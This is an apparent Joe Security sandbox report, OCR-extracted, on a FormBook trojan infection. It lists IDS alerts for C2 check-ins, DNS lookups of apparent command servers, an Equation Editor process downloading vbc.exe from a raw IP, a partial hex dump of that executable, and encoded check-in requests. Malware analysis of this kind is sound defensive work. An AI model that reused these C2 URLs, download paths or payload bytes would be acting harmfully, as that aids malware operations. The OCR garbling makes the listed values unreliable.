09/15/21-
11:20:15.480022

09/15/21-
11:20:20.496012

09/15/21-
11:20:20.496012

09/15/21-
11:20:20.496012

09/15/21-
11:20:20.611011

09/15/21-
11:20:30.639824

09/15/21-
11:20:30.639824

09/15/21-
11:20:30.639824

09/15/21-
11:20:30.756136

09/15/21-
11:20:49.990019

09/15/21-
11:20:49.990019

09/15/21-
11:20:49.990019

09/15/21-
11:22:05.612250

09/15/21-
11:22:43.718801

09/15/21-
11:22:43.718801

09/15/21-
11:22:43.718801

09/15/21-
11:22:43.833789

09/15/21-
11:22:53.937608

09/15/21-
11:22:53.937608

09/15/21-
11:22:53.937608

Protocol SID
TCP 1201

TCP 2031453

TCP 2031449

TCP 2031412

TCP 1201

TCP 2031453

TCP 2031449

TCP 2031412

TCP 1201

TCP 2031453

TCP 2031449

TCP 2031412

TCP 1201

TCP 2031453

TCP 2031449

TCP 2031412

TCP 1201

TCP 1201

TCP 2031453

TCP 2031449

TCP 2031412

TCP 1201

TCP 2031453

TCP 2031449

TCP 2031412

TCP 1201

TCP 2031453

TCP 2031449

TCP 2031412

TCP 1201

TCP 2031453

TCP 2031449

TCP 2031412

TCP 1201

TCP 2031453

TCP 2031449

TCP 2031412

Copyright Joe Security LLC 2021

Message

ATTACK-RESPONSES 403 Forbidden

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ATTACK-RESPONSES 403 Forbidden

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ATTACK-RESPONSES 403 Forbidden

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ATTACK-RESPONSES 403 Forbidden

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ATTACK-RESPONSES 403 Forbidden

ATTACK-RESPONSES 403 Forbidden

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ATTACK-RESPONSES 403 Forbidden

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ATTACK-RESPONSES 403 Forbidden

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ATTACK-RESPONSES 403 Forbidden

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ATTACK-RESPONSES 403 Forbidden

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

Source

Port

80

49171

49171

49171

80

49173

49173

49173

80

49180

49180

49180

80

49182

49182

49182

80

80

49185

49185

49185

80

49186

49186

49186

80

49188

49188

49188

80

49195

49195

49195

80

49197

49197

49197

Dest

Port

49170

80

80

80

49171

80

80

80

49176

80

80

80

49180

80

80

80

49182

49184

80

80

80

49185

80

80

80

49186

80

80

80

49191

80

80

80

49195

80

80

80

Source IP

34.98.99.30

192.168.2.22

192.168.2.22

192.168.2.22

34.102.136.180

192.168.2.22

192.168.2.22

192.168.2.22

34.102.136.180

192.168.2.22

192.168.2.22

192.168.2.22

34.102.136.180

192.168.2.22

192.168.2.22

192.168.2.22

34.102.136.180

34.102.136.180

192.168.2.22

192.168.2.22

192.168.2.22

34.98.99.30

192.168.2.22

192.168.2.22

192.168.2.22

34.102.136.180

192.168.2.22

192.168.2.22

192.168.2.22

34.102.136.180

192.168.2.22

192.168.2.22

192.168.2.22

34.102.136.180

192.168.2.22

192.168.2.22

192.168.2.22

Dest IP
192.168.2.22

34.102.136.180

34.102.136.180

34.102.136.180

192.168.2.22

184.168.131.241

184.168.131.241

184.168.131.241

192.168.2.22

34.102.136.180

34.102.136.180

34.102.136.180

192.168.2.22

34.102.136.180

34.102.136.180

34.102.136.180

192.168.2.22

192.168.2.22

34.98.99.30

34.98.99.30

34.98.99.30

192.168.2.22

34.102.136.180

34.102.136.180

34.102.136.180

192.168.2.22

184.168.131.241

184.168.131.241

184.168.131.241

192.168.2.22

34.102.136.180

34.102.136.180

34.102.136.180

192.168.2.22

34.102.136.180

34.102.136.180

34.102.136.180
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Source Dest
Timestamp Protocol SID Message Port Port Source IP Dest IP

09/15/21- TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49197 34.102.136.180 192.168.2.22
11:22:54.053650

09/15/21- TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49199 34.102.136.180 192.168.2.22
11:23:04.410658

09/15/21- TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49200 80 192.168.2.22  34.98.99.30
11:23:09.429910

09/15/21- TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49200 80 192.168.2.22  34.98.99.30
11:23:09.429910

09/15/21- TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49200 80 192.168.2.22  34.98.99.30
11:23:09.429910

09/15/21- TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49200 34.98.99.30 192.168.2.22
11:23:09.545253

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Sep 15, 2021 11:17:59.482459068 CEST 192.168.2.22 8.8.8.8 0x8eb8 Standard query ~ www.americ A (IP address) IN (0x0001)
0) anstonesusa.com

Sep 15, 2021 11:18:04.942955017 CEST 192.168.2.22 8.8.8.8 0xc18c Standard query  www.plasti A (IP address) IN (0x0001)
(0) cplank.com

Sep 15, 2021 11:18:10.148118019 CEST 192.168.2.22 8.8.8.8 0xfc43 Standard query  www.realst A (IP address) IN (0x0001)
(0) yleworks.com

Sep 15, 2021 11:18:20.351397038 CEST 192.168.2.22 8.8.8.8 0x9c63 Standard query  www.author A (IP address) IN (0x0001)
0) jameswshep

herdonline.com

Sep 15, 2021 11:18:25.528527021 CEST 192.168.2.22 8.8.8.8 0x30e0 Standard query  www.aedenp A (IP address) IN (0x0001)
0) ure.com

Sep 15, 2021 11:18:30.614634991 CEST 192.168.2.22 8.8.8.8 0x9037 Standard query  www.requot A (IP address) IN (0x0001)
0) ation.com

Sep 15, 2021 11:18:36.949275970 CEST 192.168.2.22 8.8.8.8 Oxce43 Standard query  www.mysahu A (IP address) IN (0x0001)
(0) arita.com

Sep 15, 2021 11:18:41.987869978 CEST 192.168.2.22 8.8.8.8 0xb02b Standard query  www.renatr A (IP address) IN (0x0001)
0) adingbv.com

Sep 15, 2021 11:18:47.027700901 CEST 192.168.2.22 8.8.8.8 0x43f4 Standard query  www.oakridge- A (IP address)  IN (0x0001)
0) pm.com

Sep 15, 2021 11:19:08.294406891 CEST 192.168.2.22 8.8.8.8 0xa804 Standard query  www.oakridge- A (IP address) IN (0x0001)
0) pm.com

Sep 15, 2021 11:19:13.081938982 CEST 192.168.2.22 8.8.8.8 0x1d11 Standard query  www.hanlan A (IP address) IN (0x0001)
0) smojitovillage.net

Sep 15, 2021 11:19:18.277448893 CEST 192.168.2.22 8.8.8.8 0x1f97 Standard query  www.thaibi A (IP address) IN (0x0001)
0) nhgear.com

Sep 15, 2021 11:19:28.481453896 CEST 192.168.2.22 8.8.8.8 0x1873 Standard query  www.goldmi A (IP address)  IN (0x0001)
0) g.com

Sep 15, 2021 11:19:51.494481087 CEST 192.168.2.22 8.8.8.8 Ox8eab Standard query  www.goldmi A (IP address) IN (0x0001)
(0) g.com

Sep 15, 2021 11:19:54.659806013 CEST 192.168.2.22 8.8.8.8 0x6882 Standard query  www.thaysay.net A (IP address) IN (0x0001)
(©)

Sep 15, 2021 11:19:59.824009895 CEST 192.168.2.22 8.8.8.8 Oxdd21 Standard query  www.asoboa A (IP address) IN (0x0001)
(0) wa.com

Sep 15, 2021 11:20:04.956995964 CEST 192.168.2.22 8.8.8.8 0xc78d Standard query  www.onpar- A (IP address) IN (0x0001)
(0) golf.com

Sep 15, 2021 11:21:29.345312119 CEST 192.168.2.22 8.8.8.8 0xe633 Standard query  www.mysahu A (IP address) IN (0x0001)
(0) arita.com

Sep 15, 2021 11:21:34.382951021 CEST 192.168.2.22 8.8.8.8 Oxcdd2 Standard query  www.renatr A (IP address) IN (0x0001)
(0) adingbv.com

Sep 15, 2021 11:21:39.423052073 CEST 192.168.2.22 8.8.8.8 0x76cf Standard query  www.oakridge- A (IP address) IN (0x0001)
(0) pm.com

Sep 15, 2021 11:22:17.646498919 CEST 192.168.2.22 8.8.8.8 0x3f41 Standard query  www.goldmi A (IP address) IN (0x0001)
(0) g.com

Sep 15, 2021 11:23:14.544867039 CEST 192.168.2.22 8.8.8.8 0x495a Standard query  www.tomrin A (IP address) IN (0x0001)
(0) gs.com
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DNS Answers

Timestamp

Sep 15, 2021
11:17:59.700364113
CEST

Sep 15, 2021
11:17:59.700364113
CEST

Sep 15, 2021
11:18:04.998969078
CEST

Sep 15, 2021
11:18:04.998969078
CEST

Sep 15, 2021
11:18:10.197412014
CEST

Sep 15, 2021
11:18:10.197412014
CEST

Sep 15, 2021
11:18:20.391383886
CEST

Sep 15, 2021
11:18:20.391383886
CEST

Sep 15, 2021
11:18:25.567326069
CEST

Sep 15, 2021
11:18:30.646533012
CEST

Sep 15, 2021
11:18:30.646533012
CEST

Sep 15, 2021
11:18:36.980983973
CEST

Sep 15, 2021
11:18:42.020987034
CEST

Sep 15, 2021
11:18:47.058543921
CEST

Sep 15, 2021
11:18:47.058543921
CEST

Sep 15, 2021
11:19:08.324367046
CEST

Sep 15, 2021
11:19:08.324367046
CEST

Sep 15, 2021
11:19:13.137840033
CEST

Sep 15, 2021
11:19:13.137840033
CEST

Sep 15, 2021
11:19:18.600385904
CEST

Sep 15, 2021
11:19:18.600385904
CEST

Sep 15, 2021
11:19:28.613152981
CEST

Sep 15, 2021
11:19:28.613152981
CEST

Sep 15, 2021
11:19:51.622936964
CEST

Sep 15, 2021
11:19:51.622936964
CEST

Copyright Joe Security LLC 2021

Source IP

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Dest IP
192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

Trans ID

0x8eb8

0x8eb8

Oxc18c

Oxc18c

0xfc43

0xfc43

0x9c63

0x9c63

0x30e0

0x9037

0x9037

Oxce43

0xb02b

0x43f4

0x43f4

0xa804

0xa804

Ox1d11

Ox1d11l

0x1f97

0x1f97

0x1873

0x1873

0x8eab

0x8eab

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name error (3)

Name error (3)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name

www.americ
anstonesus
a.com

americanst
onesusa.com

www.plasti
cplank.com

plasticplank.com

www.realst
yleworks.com

realstylew
orks.com

www.author
jameswshep
herdonline.com

authorjame
swshepherd
online.com

www.aedenp
ure.com

Www.requot
ation.com

requotation.com

www.mysahu
arita.com

www.renatr
adingbv.com

www.oakridge-
pm.com

oakridge-p
m.com

www.oakridge-
pm.com

oakridge-p
m.com

www.hanlan
smojitovil
lage.net

hanlansmoj
itovillage.net

www.thaibi
nhgear.com

thaibinhge
ar.com

www.goldmi
g.com

goldmig.com

www.goldmi
g.com

goldmig.com

CName

americanstonesusa.com

plasticplank.com

realstyleworks.com

authorjameswshepherdonl

ine.com

requotation.com

none

none

oakridge-pm.com

oakridge-pm.com

hanlansmojitovillage.net

thaibinhgear.com

goldmig.com

goldmig.com

Address

192.99.131.252

34.102.136.180

34.98.99.30

34.102.136.180

217.160.0.177

184.168.131.241

none

none

184.168.131.241

184.168.131.241

34.102.136.180

45.252.248.16

203.16.60.34

203.16.60.34

Type
CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0X0001)

IN (0X0001)

IN (0X0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP Dest IP

Sep 15, 2021 8.8.8.8
11:19:54.693376064
CEST

Sep 15, 2021 8.8.8.8
11:19:54.693376064
CEST

Sep 15, 2021 8.8.8.8
11:19:59.867867947
CEST

Sep 15, 2021 8.8.8.8
11:19:59.867867947
CEST

Sep 15, 2021 8.8.8.8
11:19:59.867867947
CEST

Sep 15, 2021 8.8.8.8
11:19:59.867867947
CEST

Sep 15, 2021 8.8.8.8
11:20:04.990484953
CEST

Sep 15, 2021 8.8.8.8
11:20:04.990484953
CEST

Sep 15, 2021 8.8.8.8
11:21:29.381974936
CEST

Sep 15, 2021 8.8.8.8
11:21:34.426151037
CEST

Sep 15, 2021 8.8.8.8
11:21:39.455261946
CEST

Sep 15, 2021 8.8.8.8
11:21:39.455261946
CEST

Sep 15, 2021 8.8.8.8
11:22:17.671439886
CEST

Sep 15, 2021 8.8.8.8
11:22:17.671439886
CEST

Sep 15, 2021 8.8.8.8
11:23:14.577768087
CEST

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

HTTP Request Dependency Graph

e 198.23.212.143

* www.americanstonesusa.com

e www.plasticplank.com

e www.realstyleworks.com

* www.authorjameswshepl|

herdonline.com

e www.hanlansmojitovillage.net

o www.thaysay.net

e www.onpar-golf.com

HTTP Packets

Session ID

0

Copyright Joe Security LLC 2!

Source IP

192.168.2.22 49167

021

Trans ID

0x6882

0x6882

Oxdd21

Oxdd21

Oxdd21

Oxdd21

0xc78d

0xc78d

0xe633

Oxcdd2

0x76cf

0x76cf

0x3f41

0x3f41

0x495a

Source Port

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name error (3)

Name error (3)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name

www.thaysay.

thaysay.net

www.asoboa
wa.com

cname.land
ingi.com

cname.land
ingi.com

cname.land
ingi.com

Www.onpar-
golf.com

CName

net thaysay.net

cname.landingi.com

onpar-golf.com

onpar-golf.com

www.mysahu
arita.com

www.renatr
adingbv.com

none

none

www.oakridge-  oakridge-pm.com

pm.com

oakridge-p
m.com

www.goldmi
g.com

goldmig.com

www.tomrin
gs.com

goldmig.com

Destination IP Destination Port Process

C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

198.23.212.143 80

Address

34.102.136.180

52.212.68.12

108.128.238.226

54.77.19.84

34.102.136.180

none

none

184.168.131.241

203.16.60.34

162.0.214.58

Type
CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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kBytes

Timestamp transferred

Sep 15, 2021 0
11:16:35.291671038 CEST

Sep 15, 2021 1
11:16:35.411237955 CEST

Session ID Source IP

1 192.168.2.22
kBytes

Timestamp transferred

Sep 15, 2021 585

11:17:59.820272923 CEST

Sep 15, 2021 586

11:17:59.929552078 CEST

Copyright Joe Security LLC 2021

Direction

ouT

Source Port
49168

Direction

ouT

Data

GET /ddr/vbc.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: 198.23.212.143

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Wed, 15 Sep 2021 16:16:33 GMT

Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.9

Last-Modified: Wed, 15 Sep 2021 03:32:23 GMT

ETag: "87e00-5cc0058a7bh386"

Accept-Ranges: bytes

Content-Length: 556544

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: application/x-msdownload

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5 36 cf 82 00 00 00 00 00 00 00 00 e0 00 02 01 Ob 01 30
00 00 74 08 00 00 08 00 00 00 00 00 00 ca 93 08 00 00 20 00 00 00 a0 08 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00
00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 08 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00
00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 78 93 08 00 4f 00 00 00 00 a0 08 00 dc 05 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cO 08 00 Oc 00 00 00 5¢ 93 08 00 1c 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00
00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 dO 73 08 00 00
20 00 00 00 74 08 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 dc 05 00 00
00 a0 08 00 00 06 00 00 00 76 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6¢ 6f 63 00 00 Oc 00 00
00 00 cO 08 00 00 02 00 00 00 7c 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 ac 93 08 00 00 00 00 00 48 00 00 00 02 00 05 00 90 3f 00 00 04 5f 01 00 03 00 00 00 6f 00 00 06 94 e
01 00 c8 f4 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 7e 02 1f 24 7d 04 00 00 04 02 16 7d 07 00 00 04 02 16 7d 08 00 00 04 02 28 15 00 00 Oa 00 00 2a
b6 02 1f 24 7d 04 00 00 04 02 16 7d 07 00 00 04 02 16 7d 08 00 00 04 02 28 15 00 00 0a 00 00 02 03 7d 02 00 00 04 02 0
4 7d 03 00 00 04 2a 00 00 13 30 02 00 4f 00 00 00 00 00 00 00 02 1f 24 7d 04 00 00 04 02 16 7d 07 00 00 04 02 16 7d 08
00 00 04 02 28 15 00 00 0a 00 00 02 03 7b 01 00 00 04 7d 01 00 00 04 02 03 7b 05 00 00 04 7d 05 00 00 04 02 03 7b 06
00 00 04 7d 06 00 00 04 02 03 7b 07 00 00 04 7d 07 00 00 04 2a 3a 00 02 7b 04 00 00 04 28 16 00 00 Oa 00 2a 00 00 13
3003 00 77 00 00 00 01 00 00 11 00 03 17 52 02 7b 01 00 00 04 Ob 07 0a 06 2c 66 06 72 01 00 00 70 28 17 00 00 Oa 2d
2906 72 21 00 00 70 28 17 00 00 Oa 2d 25 06 72 2d 00 00 70 28 17 00 00 Oa 2d 25 06 72 39 00 00 70 28 17 00 00 Oa 2d
25 2b 30 02 17 7d 08 00 00 04 2b 27 04 04 4a 02 7b 07 00 00 04 58 54 2b 1a 04 04 4a 02 7b 07 00 00 04 58 54 2b 0d 04
04 4a 02 7b 07 00 00 04 58 54 2b 00 2a 00 13 30 01 00 Ob 00 00 00 02 00 00 11 00 72 45 00 00 70 Oa 2b 00 06 2a 00 13
30 01 00 Ob 00 00 00 02 00 00 11 00 72 7f 00 00 70 Oa 2b 00 06 2a 00 13 30 01 00 Oc 00 00 00 03 00 00 11 00 19 8d 10
00 00 01 Oa 2b 00 06 2a 22 02 28 15 00 00 Oa 00 2a 00 00 00 13 30 02 00 26 00 00 00 04 00 00 11 00

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL60t @ @xO\ H.texts t ".rsrcv@@.reloc|@BH?_o~$}}}
S0 IO {(OWR{, frp(-)r'p(-%r-p (-%r9p(-%+0}+ I{X T+I{XT+I{XT+*OrEp+*0rp+*0+*"(*0&

Destination IP  Destination Port Process

192.99.131.252 80 C:\Windows\explorer.exe

Data

GET /nthe/?t48tJ=fJEp_HN8mMPITHN5P&5jo4nr=TiWkgH4UkC7Clqz9ktcRQySnot/hSPOU84YZk1QGO5z/hARIn
1ng6rxU4Y++sy6YdGpizQ== HTTP/1.1

Host: www.americanstonesusa.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 301 Moved Permanently

Date: Wed, 15 Sep 2021 09:17:59 GMT

Server: Apache

Location: https://www.americanstonesusa.com/nthe/?t48tJ=fJEp_HN8mMPITHN5P&5jo4nr=TiWkgH4UkC7Clgz9ktcR
QySnot/hSPOU84YZk1QGO5z/hARIn1ng6rxU4Y++sy6YdGpizQ==

Content-Length: 354

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0a 3¢ 74 69 74 6¢ 65 3e 33 30 31 20 4d 6f
76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e Oa 3c 68
31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3¢ 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74
2068 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 6d 65 72 69 63 61 6e
73 74 6f 6e 65 73 75 73 61 2e 63 6f 6d 2f 6e 74 68 65 2f 3f 74 34 38 74 4a 3d 66 4a 45 70 5f 48 4e 38 6d 50 69 54 48 4e
3550 26 61 6d 70 3b 35 6a 6f 34 6e 72 3d 54 69 57 6b 67 48 34 55 6b 43 37 43 49 71 7a 39 6b 74 63 52 51 79 53 6e 6f
74 2f 68 53 50 30 55 38 34 59 5a 6b 31 51 47 4f 35 7a 2f 68 41 52 69 6e 31 6e 67 36 72 78 55 34 59 2b 2b 73 79 36 59 64
4770 69 7a 51 3d 3d 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>301 Moved Permanent
ly</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.amer
icanstonesusa.com/nthe/?t48tJ=fJEp_HN8mPITHN5P&amp;5jo4nr=TiWkgH4UkC7Clgqz9kticRQySnot/hSPOU84YZk1QGO5
z/hARIN1ng6rxU4Y++sy6YdGpizQ==">here</a>.</p></body></html>
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Session ID Source IP
10 192.168.2.22
kBytes
Timestamp transferred
Sep 15, 2021 606
11:20:20.496011972 CEST
Sep 15, 2021 607
11:20:20.611011028 CEST
Session ID Source IP
11 192.168.2.22
kBytes
Timestamp transferred
Sep 15, 2021 607

11:20:30.639823914 CEST

Sep 15, 2021 608
11:20:30.756135941 CEST

Session ID Source IP
12 192.168.2.22

kBytes
Timestamp transferred
Sep 15, 2021 614

11:22:05.497116089 CEST

Copyright Joe Security LLC 2021

Source Port

49185

Direction

ouT

Source Port

49186

Direction

ouT

Source Port
49191

Direction
ouT

Destination IP Destination Port Process

34.98.99.30 80 C:\Windows\explorer.exe

Data

GET /nthe/?t48tJ=fJEp_HN8mPITHN5P&5jo4nr=QEezsAFDINAB3yJURHSMHXjRGqVBO6IXE20IDVvtKCtrVdawO
VmvQD4In9eCVKj8I4WBCQ== HTTP/1.1

Host: www.realstyleworks.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Server: openresty

Date: Wed, 15 Sep 2021 09:20:20 GMT

Content-Type: text/html

Content-Length: 275

ETag: "6139efab-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e Oa 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</titte></head><body>
<h1>Access Forbidden</h1></body></html>

Destination IP Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

GET /nthe/?t48tJ=fJEp_HN8mMPITHN5P&5jo4nr=enVshZ5ucPnpEJ79XKthUFU7GSCP6zpooNwVCr/POs5BKPQIO
oeKppWI2ezsgMpUEHhIAA== HTTP/1.1

Host: www.authorjameswshepherdonline.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Server: openresty

Date: Wed, 15 Sep 2021 09:20:30 GMT

Content-Type: text/html

Content-Length: 275

ETag: "6139ed55-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
